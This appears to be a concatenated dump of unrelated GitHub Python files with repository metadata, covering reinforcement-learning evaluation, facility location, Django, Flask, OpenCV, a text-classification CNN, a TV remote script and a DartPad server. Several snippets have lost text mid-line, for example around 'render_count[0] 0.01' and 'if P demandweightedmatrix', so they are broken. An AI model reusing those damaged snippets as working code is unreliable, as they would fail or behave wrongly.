pedestrian as input to the network.\n state_ego_ped_tensor = torch.tensor(state).to(device) # (nenv, 5) # ['x_ego', 'y_ego', 'velocity','x_ped', 'y_ped']\n state_ego_ped_tensor[:, 3:] = state_ego_ped_tensor[:, 3:] - state_ego_ped_tensor[:, :2] # ['x_ego', 'y_ego', 'velocity','x_ped_rel', 'y_ped_rel']\n ### project setting ###\n\n with torch.no_grad():\n model_value_preds, action, model_action_log_probs= ecar_policy.act(\n state_ego_ped_tensor) # model_value_preds (nenv, 1), action (nenv)\n state_ego_ped_tensor = state_ego_ped_tensor.unsqueeze(0) # (1, nenv, 2)\n model_value_preds = model_value_preds.unsqueeze(0) # (1, nenv, 1)\n model_action_log_probs_tensor = model_action_log_probs.unsqueeze(0).unsqueeze(2) # (1, batch, 1) where batch = nenv here\n\n next_state, reward, done, infos, collision_flag = envs.step(action.cpu().numpy()) # action is 0-4 now\n '''\n These are the shape info that help me debug.\n # next_state (nenv, 5)\n # reward (nenv,)\n # done (nenv,)\n # infos (None, None, None, None)\n '''\n state = np.copy(next_state)\n states_episode.append(state)\n if done.sum() == nenvs: # done is all one, finish the episode.\n print(collision_flag)\n break\n\n \n states_episode = np.stack(states_episode)\n states_all_episodes.append(states_episode)\n infos_all_episodes.append(infos)\n collision_all_episodes.append(collision_flag)\n\n # if len(states_all_episodes) % 200 == 0:\n # render_data_all_episodes = [states_all_episodes, infos_all_episodes, collision_all_episodes]\n # filename = 'rendering_results_eval/test_collision_location_render_'+str(len(states_all_episodes))+'.pt'\n # torch.save(render_data_all_episodes, filename)\n # print(filename+' is saved.')\n \n episode_count_all_epochs += 1\n\n # if episode_count_all_epochs % 1250 == 0:\n render_data_all_episodes = [states_all_episodes, infos_all_episodes, collision_all_episodes]\n filename = 'result/final.pt'\n torch.save(render_data_all_episodes, filename)\n print(filename+' is saved.')\n print('evaluation done.')\n return\n\n\ndef render_policy_results(device, logging, anime=True):\n\n # _, policy_folder = 'result' # get_config_and_result_folder(policy_yaml_config)\n render_filename = os.path.join('result', 'final.pt')\n render_data_all_episodes = torch.load(render_filename)\n \n states_all_episodes, infos_all_episodes, collision_all_episodes = render_data_all_episodes\n # 0 means ongoing, 1 means collision, 2. means timeout, 3 means success.\n collision_results = []\n for collision_episode in collision_all_episodes:\n collision_results += list(collision_episode)\n \n collision_results = np.array(collision_results) # (num_tests,)\n num_tests = len(collision_results)\n num_collision_front = sum(collision_results==1)\n num_collision_side = sum(collision_results==1.5)\n num_collision = num_collision_front + num_collision_side\n num_timeout = sum(collision_results==2)\n num_success = sum(collision_results==3)\n\n print()\n logging.info('number of samples: {}'.format(num_tests))\n logging.info('time-out rate: {0:.4f}'.format(num_timeout/num_tests))\n logging.info('total collision rate: {0:.4f}'.format(num_collision/num_tests))\n logging.info('front collision rate: {0:.4f}'.format(num_collision_front/num_tests))\n logging.info('side collision rate: {0:.4f}'.format(num_collision_side/num_tests))\n logging.info('success rate: {0:.4f}'.format(num_success/num_tests))\n print()\n\n if anime:\n args = get_args()\n env_name = 'pas-v0' \n env = gym.make(env_name)\n render_count = np.array([0,0,0,0])\n render_max = 10\n\n for eps_idx, (states_episode, infos_episode, collision_episode) \\\n in enumerate(zip(states_all_episodes, infos_all_episodes, collision_all_episodes)):\n for env_idx, collision_flag in enumerate(collision_episode):\n if np.random.random()<0.5: # Render random episodes\n if collision_flag==1: # collision\n if render_count[0] 0.01:\r\n print(v.varName, v.x)\r\n print('Objective:',m.objVal)\r\n return(m.objVAl)\r\nmd={} \r\nfor i in Node:\r\n for j in Node:\r\n if i!=j and j > i:\r\n md[i,j] = minimumDistance(i,j)\r\n \r\nfor i in Node:\r\n for j in Node:\r\n if i==j:\r\n md[i,j]= 0\r\nfor i in Node:\r\n for j in Node:\r\n if i>j:\r\n md[i,j]=md[j,i]\r\nX=MinNumOfFacility-1\r\nP=0\r\n \r\ndemandweightedmatrix={}\r\nfor i in Node:\r\n for j in Node:\r\n demandweightedmatrix[i,j]=md[i,j]*demand[j] \r\na={}\r\nb={} \r\ndef sumdwm(p):\r\n a[p]=sum(demandweightedmatrix[p,i] for i in Node )\r\n return(a)\r\nfor i in Node:\r\n b[i]=sumdwm(i)\r\nmin_a = min(a[x] for x in a)\r\nFacilityLocatedLocation = [key for key, value in a.items() if value == min_a]\r\nP=1\r\nP=P-1\r\nfor x in FacilityLocatedLocation: \r\n if P demandweightedmatrix[p,j] :\r\n demandweightedmatrix[i,j]=demandweightedmatrix[p,j]\r\n else:\r\n demandweightedmatrix[i,j]=demandweightedmatrix[i,j]\r\n for i in Node:\r\n b[i]=sumdwm(i)\r\n min_a = min(a[x] for x in a)\r\n FacilityLocatedLocation2 = [key for key, value in a.items() if value == min_a]\r\n sp=FacilityLocatedLocation2[0]\r\n FacilityLocatedLocation.append(sp)\r\n P+=1\r\nworkbook=xlsxwriter.Workbook('emd.xlsx')\r\nworksheet=workbook.add_worksheet('result')\r\nrow=0\r\ncol=0\r\nfor i in b:\r\n c=a[i]\r\n d=Node[row]\r\n worksheet.write(row,0,d)\r\n worksheet.write(row,1,c)\r\n row+=1\r\nworksheet=workbook.add_worksheet('md')\r\ni=1\r\nk=0\r\nfor x in Node:\r\n j=1\r\n l=0\r\n for y in Node:\r\n e=md[x,y]\r\n worksheet.write(i,j,e)\r\n f=Node[k]\r\n worksheet.write(i,0,f)\r\n g=Node[l]\r\n worksheet.write(0,j,g)\r\n l+=1\r\n j+=1 \r\n i+=1\r\n k+=1 \r\nworksheet=workbook.add_worksheet('demandweightedmatrix')\r\ni=1\r\nk=0\r\nfor x in Node:\r\n j=1\r\n l=0\r\n for y in Node:\r\n e=demandweightedmatrix[x,y]\r\n worksheet.write(i,j,e)\r\n f=Node[k]\r\n worksheet.write(i,0,f)\r\n g=Node[l]\r\n worksheet.write(0,j,g)\r\n l+=1\r\n j+=1 \r\n i+=1\r\n k+=1\r\nworksheet=workbook.add_worksheet('finalresult')\r\nrow=0\r\ncol=0\r\nfor i in FacilityLocatedLocation:\r\n c=FacilityLocatedLocation[row]\r\n worksheet.write(row,0,c)\r\n row+=1\r\nworkbook.close()\r\n","repo_name":"ShadowOS/Facility-Location-Algorithm","sub_path":"PMedianProblem.py","file_name":"PMedianProblem.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34087698192","text":"from django.contrib import admin\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass JustifiedTilesUniteOptionsAdmin(admin.ModelAdmin):\n '''\n Tiles - Justified\n '''\n fieldsets = (\n (_('Tiles options'), {\n 'classes': ('collapse',),\n 'fields': (\n 'tiles_enable_transition',\n 'tiles_set_initial_height',\n # 'tiles_type',\n 'tiles_justified_row_height',\n 'tiles_justified_space_between',\n )\n }),\n )\n\n\nclass NestedTilesUniteOptionsAdmin(admin.ModelAdmin):\n '''\n Tiles - Nested\n '''\n fieldsets = (\n (_('Tiles options'), {\n 'classes': ('collapse',),\n 'fields': (\n 'tiles_enable_transition',\n\n (\n 'tiles_space_between_cols',\n 'tiles_space_between_cols_mobile',\n ),\n 'tiles_min_columns',\n # 'tiles_type',\n 'tiles_nested_optimal_tile_width',\n )\n }),\n )\n\n\nclass ColumnsTilesUniteOptionsAdmin(admin.ModelAdmin):\n '''\n Tiles - Columns\n '''\n fieldsets = (\n (_('Tiles options'), {\n 'classes': ('collapse',),\n 'fields': (\n 'tiles_col_width',\n 'tiles_exact_width',\n 'tiles_align',\n (\n 'tiles_space_between_cols',\n 'tiles_space_between_cols_mobile',\n ),\n 'tiles_include_padding',\n ('tiles_min_columns', 'tiles_max_columns',),\n\n ('tiles_set_initial_height', 'tiles_enable_transition',),\n )\n }),\n )\n","repo_name":"ripiu/djangocms_aoxomoxoa","sub_path":"ripiu/djangocms_aoxomoxoa/admin/options/tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38487572480","text":"from flask import Flask, render_template, request\r\nimport jsonify\r\nimport requests\r\nimport pickle\r\nimport numpy as np\r\nimport sklearn\r\nimport joblib\r\nfrom sklearn.preprocessing import StandardScaler\r\napp = Flask(__name__)\r\nmodel = joblib.load('rf_Model.pkl')\r\n@app.route('/',methods=['GET'])\r\ndef Home():\r\n return render_template('template.html')\r\n\r\n\r\nstandard_to = StandardScaler()\r\n@app.route(\"/predict\", methods=['POST'])\r\ndef predict():\r\n if request.method == 'POST':\r\n Car_Age=int(request.form['Car_Age'])\r\n Avg_Price=float(request.form['Avg_Price'])\r\n Kms_Driven=int(request.form['Kms_Driven'])\r\n Mileage=float(request.form['Mileage'])\r\n Engine=float(request.form['Engine'])\r\n Fuel_Type=request.form['Fuel_Type']\r\n\r\n if(Fuel_Type=='Petrol'):\r\n Fuel_Type_Petrol=1\r\n Fuel_Type_Diesel=0\r\n Fuel_Type_LPG=0\r\n elif(Fuel_Type=='Diesel'):\r\n Fuel_Type_Petrol=0\r\n Fuel_Type_Diesel=1\r\n Fuel_Type_LPG=0\r\n elif(Fuel_Type=='LPG'):\r\n Fuel_Type_Petrol=0\r\n Fuel_Type_Diesel=0\r\n Fuel_Type_LPG=1\r\n else:\r\n Fuel_Type_Petrol=0\r\n Fuel_Type_Diesel=0\r\n Fuel_Type_LPG=0\r\n\r\n Car_Age=2021-Car_Age\r\n\r\n Seller_Type=request.form['Seller_Type']\r\n if(Seller_Type=='Individual'):\r\n Seller_Type_Individual=1\r\n Seller_Type_Trustmark_Dealer=0\r\n elif(Seller_Type=='Trustmark_Dealer'):\r\n Seller_Type_Individual=0\r\n Seller_Type_Trustmark_Dealer=1\r\n else:\r\n Seller_Type_Individual=0\r\n Seller_Type_Trustmark_Dealer=0 \r\n\r\n #Transmission_Type=request.form['Transmission_Type']\r\n #if(Transmission_Type=='Manual'):\r\n # Transmission_Type_Manual=1\r\n #else:\r\n # Transmission_Type_Manual=0 \r\n prediction=model.predict([[Avg_Price,Car_Age,Fuel_Type_Diesel,Fuel_Type_Petrol,Fuel_Type_LPG,Kms_Driven,Seller_Type_Individual,Seller_Type_Trustmark_Dealer,Mileage,Engine]])\r\n\r\n output=round(prediction[0],2)\r\n if output<0:\r\n return render_template('template.html',prediction_texts=\"Sorry you cannot sell this car\")\r\n else:\r\n return render_template('template.html',prediction_text=\"You Can Sell The Car at {}\".format(output))\r\n else:\r\n return render_template('template.html')\r\n\r\nif __name__==\"__main__\":\r\n app.run(debug=True)","repo_name":"Prasad14-hub/Car_Price_Prediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10150477574","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 14 20:46:26 2019\n\n@author: DHF\n\"\"\"\nimport re\n\nf = open('金融学本体.txt', 'rt',encoding='utf-8')\ndata=f.read()\nres=open('res.txt','at',encoding='utf-8')\n\nline_pat=re.compile(r'IRI=\"#(.*)\"')\nfor content in line_pat.findall(data):\n res.write(content+\"\\n\")\nf.close()\nres.close()","repo_name":"HankTown/python-tools","sub_path":"regex_txt/split_n_write.py","file_name":"split_n_write.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29124398014","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Project : crypto\n# @Time : 2021/5/17 16:32\n# @Author : Adolf\n# @File : chan_zs.py\n# @Function :\nimport pandas as pd\n\npd.set_option(\"expand_frame_repr\", False)\n\ndf = pd.read_csv(\"result/chan_600570.csv\")\n\ndf2 = df.dropna(how=\"any\")\ndf2.reset_index(inplace=True)\n# print(df2)\n\ninterval_list = []\nfor index, row in df2.iterrows():\n if row[\"flag_bf\"] == \"b\":\n flag_direction = \"up\"\n else:\n flag_direction = \"down\"\n # print(row)\n if index == 0:\n if flag_direction == \"down\":\n interval_list.append([[df.loc[0, \"high\"], row[\"price\"]], flag_direction])\n else:\n interval_list.append([[df.loc[0, \"low\"], row[\"price\"]], flag_direction])\n else:\n interval_list.append([[df2.loc[index - 1, \"price\"], row[\"price\"]], flag_direction])\n\nprint(interval_list)\nfor interval_index in range(1, len(interval_list)):\n print(interval_list[interval_index])\n break\n","repo_name":"WenmuZhou/crypto","sub_path":"strategy/personalise/chan_theory/chan_zs.py","file_name":"chan_zs.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"1022995598","text":"import numpy as np\nimport cv2\n\nix,iy = -1,-1\nmode = False\nimg1,img2 = None,None\n\ndef onMouse(event,x,y,flag,param):\n global ix,iy,mode,img1,img2\n\n if event == cv2.EVENT_LBUTTONDOWN:\n mode = True\n ix,iy = x,y\n\n elif event == cv2.EVENT_MOUSEMOVE:\n if mode:\n img1 = img2.copy()\n cv2.rectangle(img1,(ix,iy),(x,y),(0,0,255),2)\n cv2.imshow('original',img1)\n\n elif event==cv2.EVENT_LBUTTONUP:\n mode = False\n if ix >= x or iy >=y:\n return\n\n cv2.rectangle(img1,(ix,iy),(x,y),(0,0,255),2)\n roi = img1[iy:y,ix:x]\n backProjection(img2,roi)\n return\n\ndef backProjection(img,roi):\n hsv = cv2.cvtColor(roi,cv2.COLOR_BGR2HSV)\n hsct = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\n roihist = cv2.calcHist([hsv],[0,1],None,[180,256],[0,180,0,256])\n cv2.normalize(roihist,roihist,0,255,cv2.NORM_MINMAX)\n dst = cv2.calcBackProject([hsct],[0,1],roihist,[0,180,0,256],1)\n\n disc = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(5,5))\n cv2.filter2D(dst,-1,disc,dst)\n\n ret,thr = cv2.threshold(dst,50,255,0)\n thr = cv2.merge((thr,thr,thr))\n res = cv2.bitwise_and(img,thr)\n\n cv2.imshow('backproj',res)\n\ndef main():\n global img1,img2\n\n img1 = cv2.imread('images/test.jpg')\n img2 = img1.copy()\n\n cv2.namedWindow('original'),cv2.namedWindow('backproj')\n cv2.setMouseCallback('original',onMouse,param=None)\n\n cv2.imshow('backproj',img2)\n\n while True:\n cv2.imshow('original',img1)\n\n k=cv2.waitKey(1)&0xFF\n if k == 27:\n break\n\n cv2.destroyAllWindows()\n\nmain()\n","repo_name":"Hwijune/computer-vision","sub_path":"영상처리 튜토리얼/27.배경투사.py","file_name":"27.배경투사.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8591289141","text":"data = [(0.00632, 6.575, 65.2, 296.0, 4.98),\n (0.02731, 6.421, 78.9, 242.0, 9.14),\n (0.02729, 7.185, 61.1, 242.0, 4.03),\n (0.03237, 6.998, 45.8, 222.0, 2.94),\n (0.06905, 7.147, 54.2, 222.0, 5.33),\n (0.02985, 6.43, 58.7, 222.0, 5.21),\n (0.08829, 6.012, 66.6, 311.0, 12.43)]\n\n\ntest=dict()\ndef persent (x):\n #print(\"x\",x)\n one, two, thry, four, five = x\n six = round(one * four * five, 2)\n return (one, two, thry, four, five, six)\n \nlambda_filter = lambda x: x[5] > 60\nfiltered_data = list(filter(lambda_filter, list(map(persent, data))))\n\nprint(filtered_data)\n\n\"\"\"\nДобавьте в набор данных новый признак, который будет равен\nпроизведению трёх признаков — x₁, x₄ и x₅. \nА затем выберите из исходного списка только те данные, \nдля которых значение нового признака > 60.\n\nВ результате выполнения программы у вас должен получиться \nсписок кортежей. Каждый кортеж должен состоять из шести \nэлементов: первые пять — исходные признаки, а шестой элемент — сгенерированный признак, округлённый до двух знаков после запятой. Результирующий список кортежей занесите в переменную filtered_data.\n\nНапример, для исходного списка data, представленного выше,\n у вас должен получиться следующий список filtered_data:\n\n\n[(0.02731, 6.421, 78.9, 242.0, 9.14, 60.41),\n (0.06905, 7.147, 54.2, 222.0, 5.33, 81.7),\n (0.08829, 6.012, 66.6, 311.0, 12.43, 341.31)]\n\nВернёмся к задаче по оценке стоимости недвижимости.\n\nВ списке data представлены усреднённые данные по домам в районах Бостона. Каждый вложенный в список кортеж описывает средние данные по одному району (для примера представлены данные о семи участках). В этом кортеже представлены следующие признаки (в порядке следования):\n\nx₁ — уровень преступности на душу населения по городам;\nx₂ — среднее количество комнат в доме;\nx₃ — доля зданий, построенных до 1940 г. и занимаемых \nвладельцами;\nx₄ — полная ставка налога на имущество за каждые 10 000 \nдолларов стоимости;\nx₅ — процент населения с низким статусом.\"\"\"","repo_name":"retro-nihilist/first_for_sf","sub_path":"5.2 8.4.py","file_name":"5.2 8.4.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17856579752","text":"import argparse\nimport numpy as np\nimport os.path as osp\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass TextCNN(nn.Module):\n def __init__(self, vocab_size, pad_idx, args):\n super().__init__()\n self.args = args\n self.embedding = nn.Embedding(vocab_size, args.embedding_dim, padding_idx = pad_idx)\n\n if self.args.mode == 'multichannel':\n self.embedding2 = nn.Embedding(vocab_size, args.embedding_dim, padding_idx = pad_idx)\n \n self.convs = nn.ModuleList([\n nn.Conv2d(in_channels = 1, \n out_channels = args.n_filters, \n kernel_size = (fs, args.embedding_dim)) \n for fs in args.filter_sizes\n ])\n \n self.fc = nn.Linear(len(args.filter_sizes) * args.n_filters, 2)\n self.dropout = nn.Dropout(args.dropout)\n self.softmax = nn.Softmax(dim=1)\n \n def forward(self, text):\n #text = [batch size, sent len]\n embedded = self.embedding(text) # [batch size, sent len, emb dim]\n embedded = embedded.unsqueeze(1) # [batch size, 1, sent len, emb dim]\n \n conved = [F.relu(conv(embedded)).squeeze(3) for conv in self.convs] # [batch size, n_filters, sent len - filter_sizes[n] + 1]\n\n if self.args.mode == 'multichannel':\n embedded2 = self.embedding2(text) # [batch size, sent len, emb dim]\n embedded2 = embedded2.unsqueeze(1) # [batch size, 1, sent len, emb dim]\n \n conved2 = [F.relu(conv(embedded2)).squeeze(3) for conv in self.convs]\n \n conved = [conved[i] + conved2[i] for i in range(len(conved))]\n\n pooled = [F.max_pool1d(conv, conv.shape[2]).squeeze(2) for conv in conved] # pooled_n = [batch size, n_filters]\n cat = self.dropout(torch.cat(pooled, dim = 1)) # [batch size, n_filters * len(filter_sizes)]\n res = self.fc(cat) # [batch_size, 2]\n res = self.softmax(res) # [batch_size, 2]\n return res[:,0] # [batch_size]\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='CNN Model Builder')\n parser.add_argument('--embedding_dim', type=int, default=100)\n parser.add_argument('--n_filters', type=int, default=100)\n parser.add_argument('--filter_sizes', type=list, default=[3,4,5])\n parser.add_argument('--output_dim', type=int, default=1)\n parser.add_argument('--dropout', type=float, default=0.5)\n args = parser.parse_args()\n\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n model = CNN(vocab_size=1000, pad_idx=0, args=args).to(device)\n sample = torch.randint(20, (3, 5)).to(device)\n res = model(sample)\n\n print(res.shape)\n print(f'The model has {sum(p.numel() for p in model.parameters() if p.requires_grad):,} trainable parameters')","repo_name":"adldotori/PapersWithCode","sub_path":"01_TextCNN/core/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"43493110958","text":"#!/usr/bin/python3\n\nimport sys\nimport requests\n\nUSAGE = \"\"\"Usage: {} \n ip is available through your livebox's connected devices\n key is the key on the remote that you wish to send (see list of keys)\n\"\"\".format(sys.argv[0])\n\nif len(sys.argv) < 2:\n print(USAGE)\n sys.exit(1)\n\nip = sys.argv[1]\nkey = sys.argv[2]\nport = \"8080\"\ntimeout = \"1000\"\nurl = \"http://{}:{}/remoteControl/cmd?operation=01&key={}&mode=0\".format(ip, port, key)\n\n# sending get request and saving the response as response object\nreq = requests.get(url = url)\n\n# extracting data in json format\ndata = req.json()\n\n# printing the output\nprint(\"red : %s\" % data)\n","repo_name":"stan69b/OrangeTV-python-bash-remote","sub_path":"orangeTVRemote.py","file_name":"orangeTVRemote.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"34262174278","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='LocationContact',\n fields=[\n ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),\n ('office_contact', models.CharField(validators=[django.core.validators.RegexValidator(code='nomatch', message='Length has to be 14', regex='\\\\+?\\\\d[\\\\d -]{8,12}\\\\d')], max_length=14)),\n ('office_email', models.EmailField(unique=True, max_length=30)),\n ('personal_contact', models.CharField(validators=[django.core.validators.RegexValidator(code='nomatch', message='Length has to be 10', regex='^[0-9]{10}$')], max_length=10)),\n ('personal_email', models.EmailField(unique=True, max_length=30)),\n ('address', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Organisation',\n fields=[\n ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),\n ('name', models.CharField(validators=[django.core.validators.RegexValidator('^[a-zA-Z]([a-zA-Z0-9]|[- @\\\\.#&!])*$', message='Only standard names are allowed.')], unique=True, max_length=50)),\n ('date_of_registration', models.DateTimeField(default=datetime.datetime(2015, 8, 25, 14, 36, 33, 991929))),\n ],\n ),\n migrations.CreateModel(\n name='OrganisationLocation',\n fields=[\n ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),\n ('name', models.CharField(max_length=30)),\n ('no_of_services', models.CharField(max_length=3)),\n ('organisation', models.ForeignKey(to='organisation.Organisation')),\n ],\n ),\n migrations.AddField(\n model_name='locationcontact',\n name='location',\n field=models.ForeignKey(to='organisation.OrganisationLocation'),\n ),\n migrations.AlterUniqueTogether(\n name='organisationlocation',\n unique_together=set([('organisation', 'name')]),\n ),\n ]\n","repo_name":"rinkurajole/appointment-system","sub_path":"src/organisation/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1032668841","text":"import pytest\nimport numpy as np\nimport sys\nfrom scipy import stats\nimport nevergrad as ng\nimport nevergrad.common.typing as tp\n\n\n# decorators to be used when testing on Windows is unecessary\n# or cumbersome\nskip_win_perf = pytest.mark.skipif(\n sys.platform == \"win32\", reason=\"Slow, and no need to test performance on all platforms\"\n)\n\n\n@skip_win_perf # type: ignore\ndef test_tabu() -> None:\n\n num_tests = 97\n for o in [\"DiscreteOnePlusOne\"]:\n values = []\n valuesT = []\n for _ in range(num_tests):\n dim = 4\n arity = 7\n budget = (arity**dim) // 50\n domain = ng.p.TransitionChoice(range(arity), ordered=False, repetitions=dim)\n optimum = np.random.randint(arity, size=dim)\n\n def of(x):\n return -np.sum((np.asarray(x) == optimum))\n\n recom = ng.optimizers.registry[o](domain, budget).minimize(of).value\n recomT = ng.optimizers.registry[o + \"T\"](domain, budget).minimize(of).value\n values += [of(recom)]\n valuesT += [of(recomT)]\n pval = stats.mannwhitneyu(valuesT, values, alternative=\"less\").pvalue\n assert pval < 0.15, f\"{o} fails the Tabu search test: pval = {pval}.\"\n\n\ndef summation(x: tp.ArrayLike) -> float:\n return sum(x)\n\n\n@skip_win_perf # type: ignore\ndef test_tabu_sum() -> None:\n\n num_tests = 147\n for o in [\"DiscreteOnePlusOne\"]:\n values = []\n valuesT = []\n for _ in range(num_tests):\n dim = 24\n arity = 3\n budget = 7\n domain = ng.p.TransitionChoice(range(arity), ordered=False, repetitions=dim)\n domain.tabu_congruence = summation\n optimum = np.random.randint(arity, size=dim)\n\n def of(x):\n return np.abs(sum(x) - sum(optimum))\n\n recom = ng.optimizers.registry[o](domain, budget).minimize(of).value\n recomT = ng.optimizers.registry[o + \"T\"](domain, budget).minimize(of).value\n values += [of(recom)]\n valuesT += [of(recomT)]\n pval = stats.mannwhitneyu(valuesT, values, alternative=\"less\").pvalue\n assert pval < 0.1, f\"{o} fails the Tabu search test: pval = {pval}.\"\n","repo_name":"facebookresearch/nevergrad","sub_path":"nevergrad/optimization/test_tabu.py","file_name":"test_tabu.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":3743,"dataset":"github-code","pt":"78"} +{"seq_id":"19305833522","text":"class AdditiveCipher:\n\n def __init__(self, key: int):\n self.__key = key\n\n def encrypt(self, plain_text: str):\n encrypted_text = ''\n\n for plain_chr in plain_text:\n encrypted_text += chr((ord(plain_chr) + self.__key) % 26 + ord('A'))\n\n return encrypted_text\n\n\nif __name__ == '__main__':\n print(\"hello\")\n additiveCipher = AdditiveCipher(-5)\n print(additiveCipher.encrypt(\"hello\"))\n","repo_name":"Capoomaru/block_chain_py","sub_path":"1주차/AdditiveCipher.py","file_name":"AdditiveCipher.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72154050812","text":"uri = \"file:/home/drew/Documents/GitHub/ShipDetection/output/ShipDetections_Pacific2.csv?encoding=%s&delimiter=%s&xField=%s&yField=%s&crs=%s\" % (\"UTF-8\",\",\", \"Longitude\", \"Latitude\",\"epsg:4326\")\n\n# #Make a vector layer\nShipDetections=QgsVectorLayer(uri,\"Pacific2\",\"delimitedtext\")\n\n#Check if layer is valid\nif not ShipDetections.isValid():\n print (\"Layer not loaded\")\n\n#Add CSV data \nQgsProject.instance().addMapLayer(ShipDetections)\n\n# csv_layer=QgsVectorLayer(uri:string,layer name: string, library:string)\n","repo_name":"drewbranson/ShipDetection","sub_path":"scripts/load_shpDet.py","file_name":"load_shpDet.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"34601254224","text":"from flask import Flask, send_file\nimport os\nimport string\n\n# `entrypoint` is not defined in app.yaml, so App Engine will look for an app\n# called `app` in this file.\napp = Flask(__name__)\n\nif __name__ == '__main__':\n # This is used when running locally only.\n app.run(host='127.0.0.1', port=8080, debug=True)\n\n# Files that the server is allowed to serve. Additional static files are\n# served via directives in app.yaml.\nVALID_FILES= [\n 'dark_mode.js',\n 'dart-192.png',\n 'embed-dart.html',\n 'embed-flutter.html',\n 'embed-html.html',\n 'embed-inline.html',\n 'embed-.html',\n 'fav_icon.ico',\n 'index.html',\n 'inject_embed.dart.js',\n 'robots.txt'\n]\n\n# File extensions and the mimetypes with which they should be served.\nDEFAULT_CONTENT_TYPE = 'application/octet-stream'\n\nCONTENT_TYPES = {\n '.css': 'text/css',\n '.html': 'text/html',\n '.ico': 'image/x-icon',\n '.js': 'application/javascript',\n '.png': 'image/png',\n '.svg': 'image/svg+xml',\n '.txt': 'text/plain',\n}\n\n# Routes.\n\n@app.route('/')\ndef index():\n return _serve_file('index.html')\n\n@app.route('/')\ndef item(item_name):\n if item_name in VALID_FILES:\n return _serve_file(item_name)\n\n if len(item_name) == 32 and all(c in string.hexdigits for c in item_name):\n return _serve_file('index.html')\n\n return _serve_404()\n\n# Helpers.\n\ndef _serve_file(file_path):\n if not os.path.isfile(file_path):\n return _serve_404()\n file_name, file_ext = os.path.splitext(file_path)\n mimetype = CONTENT_TYPES.get(file_ext, DEFAULT_CONTENT_TYPE)\n return send_file(file_path, mimetype=mimetype)\n\ndef _serve_404():\n return '

    404: Not found

    ', 404\n","repo_name":"dartpad/dartpad.github.io","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6439100842","text":"# Написал Крыков Александр \r\n# Работа скрипта проверена на Python 3.8.5 (32-bit)\r\n\r\nx = int (input (\"\\nВведите число X \\n> \"))\r\nn = \"\" # строка для перевода входного числа в двоичный вид\r\n\r\ni = int ()\r\n\r\nline = \"\" # строка для формирования двоичной записи выходного числа \r\n\r\nwhile x > 0:\r\n y = str(x % 2)\r\n n = y + n\r\n x = int(x / 2)\r\nml = list (n) # список с входным числом\r\n\r\n\r\n\r\nfs_end = ml [ len (ml) - 3 ]\r\nsd_end = ml [ len (ml) - 2 ]\r\nth_end = ml [ len (ml) - 1 ] \r\n\r\nfs = ml [ 0 ]\r\nsd = ml [ 1 ]\r\nth = ml [ 2 ]\r\n\r\nwhile i != 3 :\r\n ml.pop (len(ml) - 1)\r\n ml.pop (0)\r\n i += 1\r\n\r\n\r\nend_list = list () # cписок с выходным числом\r\nend_list.append (fs_end)\r\nend_list.append (sd_end)\r\nend_list.append (th_end)\r\nend_list.extend (ml)\r\nend_list.append (fs)\r\nend_list.append (sd)\r\nend_list.append (th)\r\n\r\n\r\nline =''.join(end_list)\r\n\r\n\r\nprint (\"\\n\"+ str (int (line , 2 )))\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"emptystackvlg/-olympiad","sub_path":"ex_4.py","file_name":"ex_4.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16828499540","text":"import cube_tests\nfrom cubes_map import CubesMap\nfrom progressbar import 